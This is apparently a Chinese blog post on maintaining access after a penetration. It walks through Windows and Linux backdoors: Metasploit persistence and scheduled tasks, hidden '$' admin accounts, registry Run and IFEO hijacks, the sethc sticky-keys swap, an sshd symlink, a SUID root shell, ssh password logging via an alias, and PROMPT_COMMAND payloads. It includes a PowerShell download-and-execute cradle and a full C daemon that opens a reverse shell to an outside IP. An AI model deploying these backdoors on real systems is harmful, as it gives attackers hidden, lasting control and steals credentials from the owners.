原文链接:

渗透之权限维持杂谈

0x01 MSF

persistence

msf内置的后渗透权限维持工具persistence

img

Metsvc

它是通过在已经获得shell的目标主机上开启了一个服务来提供后门的功能。
run Metsvc -h

Scheduleme & Schtasksabuse

msf中自动利用计划任务的后门程序,后面会聊到linux和windows平台的计划任务。

run scheduleme -h
# 例子:上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" 

run Schtasksabuse -h
# 例子:每隔4秒执行一次calc.exe 
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4

Mof_ps_persist

现在已经找不到这个利用模块,参考:https://github.com/khr0x40sh/metasploit-modules/blob/master/persistence/mof_ps_persist.rb

Autorunscript

获取shell的时候自动执行持续化脚本,可以被Autorunscript执行的命令目录在metasploit/scripts/meterpreter

# persistence
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit

# metsvc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript metsvc -A
exploit

0x02 计划任务

无论是windows还是linux操作系统都提供计划任务功能,来实现定时或者周期性的执行一些指令。自然而然我们可以在计划任务中做手脚,埋后门。

windows

  • 图形化工具:taskschd.msc
  • 命令行工具:schtasks.exe
SCHTASKS /parameter [arguments]

描述:
    允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任
    务。

参数列表:
    /Create         创建新计划任务。

    /Delete         删除计划任务。

    /Query          显示所有计划任务。

    /Change         更改计划任务属性。

    /Run            按需运行计划任务。

    /End            中止当前正在运行的计划任务。

    /ShowSid        显示与计划的任务名称相应的安全标识符。

    /?              显示此帮助消息。

Examples:
    SCHTASKS
    SCHTASKS /?
    SCHTASKS /Run /?
    SCHTASKS /End /?
    SCHTASKS /Create /?
    SCHTASKS /Delete /?
    SCHTASKS /Query  /?
    SCHTASKS /Change /?
    SCHTASKS /ShowSid /?

Payload examples:
    SCHTASKS /Create /TN update /TR xx(待执行的命令)  /DELAY ONLOGON /F /RL HIGHEST

linux

  • 一次性执行任务:at命令———>atd进程
  • 周期性执行任务:crontab命令———>crond进程

在实际的渗透过程中我们更倾向于使用crontab

at

- 1.服务开启
service atd start

- 2.基本格式
at  [HH:MM]  [yyyy-mm-dd]  #没有指定年月日的,默认是当天的。

- 3.查询当前设置的at任务列表
atq  #或at -l

- 4.删除指定任务编号的at任务
atrm 编号  #或at -d

- 5.查看计划任务的具体内容
at -c 任务号

- 6.使用文件中的命令作为计划任务(比较少用)
at 时间 -f 文件

- 7.相关文件
/etc/at.deny:#该名单里面的人不可以使用
/etc/at.allow:#只有该名单里面的人可以使用

crontab

注意:
(1)crontab 只会在/sbin、/bin、/usr/sbin、/usr/bin下查找命令,如果命令不在这些目录中,应该要使用绝对路径。
(2)只有root用户可以管理其他用户的周期性任务
(3)crontab在重启后之前的周期性任务无效,anacron可以弥补crontab的缺陷。配置文件:/etc/anacrontab。anacrontab会开机自动检查没有执行的计划任务,然乎逐一执行,这个过程是用户透明的。一般而言,crontab就已经可以满足基本的需求。

- 1.服务开启
 service crond start

- 2.编辑计划任务
crontab  -e  -u  用户名

- 3.查看计划任务
crontab  -l  -u  用户名

- 4.删除计划任务:
crontab  -r  -u  用户名

- 相关文件
/var/spool/cron/用户名  #用户定义的设置
/var/log/cron           #cron服务的日志文件
/etc/crontab            #cron服务配置文件:

anacron

anacron是一个不同于crontab的任务,其只精确到天,用来弥补服务器在宕机下crond调度不周以及缓解计划任务执行过于集中的问题。它需要记录上次执行的时间,并更新到相应的/var/spool/anacron目录下,下次执行的时候会将当前时间和上次记录的时间进行对比,如果满足大于/etc/anacron的配置的天数就会立即执行相应的命令,然后刷新时间。

anacron 命令行参数:

-t 配置文件路径
让anacron从指定配置文件中读取配置,常用于普通用户来管理个人任务
-S spooldir
设定新的spool目录来记录任务执行的时间戳,常用于普通用户来管理个人任务
-T
测试配置文件是否正确
-f
强制执行所有的任务,而不管之前的执行日期是否超过轮回天数
-u
将所有任务的执行日期都更新为当前日期,而不真正的执行任务
-s
串行地执行任务,只有前一个任务完成后才开始下一个任务

0x03 windows权限维持

影子账户

创建一个无法用用户本机用户罗列工具显示的用户,并且赋予管理员权限。所有操作需要有管理员权限。同时测试在windows server 2012服务器域环境下影子账户无法直接进行添加。

  1. 用’$’创建匿名用户,并归到administratorsa用户组

    net user admin$ Test1 /add
    net localgroup administrators admin$ /add
  2. 导出匿名用户对应的sam目录下的注册表键值

    regedt32.exe 打开 HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers键值,导出Names下用户目录以及对应的16进制目录。注意需要给Administrator用户赋予Sam键值权限,默认是不允许的。

img

img

删除匿名用户,双击导出的注册表文件,用先前导出的注册表键值对注册表进行修改。则可以重新还原之前的匿名用户,但是除了在注册表里面有用户记录,其他地方都不存在用户的信息。net user或计算机管理里本地用户和用户组是看不到用户信息的,具有很好的隐蔽性质。

net user admin$ /del

PowerShell后门

Empire框架

https://github.com/EmpireProject/Empire

Schtasks-Backdoor

https://github.com/re4lity/Schtasks-Backdoor

msf

use exploit/multi/script/web_delivery

- 设置好参数后的powershell例子:
powershell.exe  -ExecutionPolicy Bypass -nop -w hidden -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $V.downloadstring('http://192.168.80.155:8888/');

注册表开机启动

在如下的注册表目录下注入键值HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun,可以实现开机自启动。以windows defender为例:

img

映像劫持

细节参考:https://www.anquanke.com/post/id/151425

涉及到的注册表项为IFEO(Image File Execution Options),默认是只有管理员和local system有权读写修改。

“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options”

大致的原理如下:当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是debugger,通过该参数我们可以实现偷梁换柱。下面以修改IE启动程序为例,实现运行IE程序但是启动的却是计算器。

1. 找到注册表“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options”目录下的iexplore.exe

2. 添加一个debugger字符串键值,并且赋值为calc.exe的执行路径,“C:Windowssystem32calc.exe”

3. 运行 iexplore.exe,bomb!!!

当然我们也可以在第一步新键一个注册表文件目录,取名为想要覆盖的可执行程序,后续步骤类似。

img
但是这样明目张胆的偷梁换柱有点张扬,根据安全客那篇文章,修改另外两个注册表键值可以实现原程序退出后静默运行后门程序。以执行notepad为例,退出后静默运行calc.exe

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /t REG_SZ /d  "C:Windowssystem32calc.exe"

shift后门

这个后门的方式比较老,在windows登陆的时候按五次shift打开cmd进行操作。前提条件是:在将C盘windows目录下面的system32文件夹可写的情况下,将里面的sethc.exe应用程序进行转移,并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe。

但是在windows xp过后,sethc组件属于完全受信用的用户TrustInstall,我们无法修改名字,这时候即使administrators都只有名义上的只读和可执行权,我们可以手动修改其所属为administrators,步骤如下:

右键属性/安全/高级;
所有者/编辑/添加当前用户/应用/确定;
关闭窗口;
右键属性/安全/编辑;
选择Administrators(或者你的当前组)/勾选完全控制/确定;

img

img

0x04 linux权限维持

可以看到windows的权限维持很多时候是基于注册表值,但是linux里面没有注册表项,但是有很多的配置文件选项,可以达到相似的功能。下面介绍一些比较实用的后门手段。

sshd软连接

原理细节: http://www.91ri.org/16803.html

victim
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

attack
ssh root@x.x.x.x -p 5555

SUID Shell

root 权限下执行如下命令,普通用户运行/dev/.rootshell即可获得root权限

cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

alias瞒天过海

我们可以通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。下面举两个实例:

  1. 修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。

    alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'
    
  2. 利用守护进程回弹shell

    alias cat='cat&&/root/.shell'
    

    shell.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>

#define ERR_EXIT(m) 
do
{
    perror(m);
    exit(EXIT_FAILURE);
}
while (0);

void creat_daemon(void);
int main(void)
{
    time_t t;
    int fd;
    creat_daemon();
    system("bash -i >& /dev/tcp/192.168.80.167/8080 0>&1");
    return 0;
}

void creat_daemon(void)
{
    pid_t pid;
    int devnullfd,fd,fdtablesize;
    umask(0);

    pid = fork();
    if( pid == -1)
        ERR_EXIT("fork error");
    if(pid > 0 )
        exit(EXIT_SUCCESS);
    if(setsid() == -1)
        ERR_EXIT("SETSID ERROR");
    chdir("/");

    /* close any open file descriptors */
    for(fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
        close(fd);

    devnullfd = open("/dev/null", 0);

    /* make STDIN ,STDOUT and STDERR point to /dev/null */
    if (devnullfd == -1) {
        ERR_EXIT("can't open /dev/null");
    }
    if (dup2(devnullfd, STDIN_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
    }
    if (dup2(devnullfd, STDOUT_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
    }
    if (dup2(devnullfd, STDERR_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
    }
    signal(SIGCHLD,SIG_IGN); 
    return;
}

img

img

linux PAM密码记录后门

pam是一种认证机制,它可帮助管理员快速方便地配置认证方式,并且无需更改服务程序。这种后门主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的帐号密码。

https://blog.51cto.com/redkey/1343316

PROMPT_COMMAND后门

bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。

export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('encoded_payload'.decode('base64'))" 2>/dev/null &)"

当然也可以使用prompt_command进行提权,参考:https://www.anquanke.com/post/id/155943

ssh免密后门

把id_rsa.pub写入服务端的/home/[用户名]/.ssh/authorized_keys中。

rootkit

rootit的后门相对比较顽固,有应用级别和系统级别的rootkit,其大致的思路是hook进常规的调用中,是比较硬核的,经常体现在APT攻击中。下面是一个菊苣收集的rootkit后门的链接。具体的细节因为不同的rootkit具体实现不一致,笔者才疏,无法完全弄清楚,仅给出链接,方便日后学习。





# web安全  

tocToc: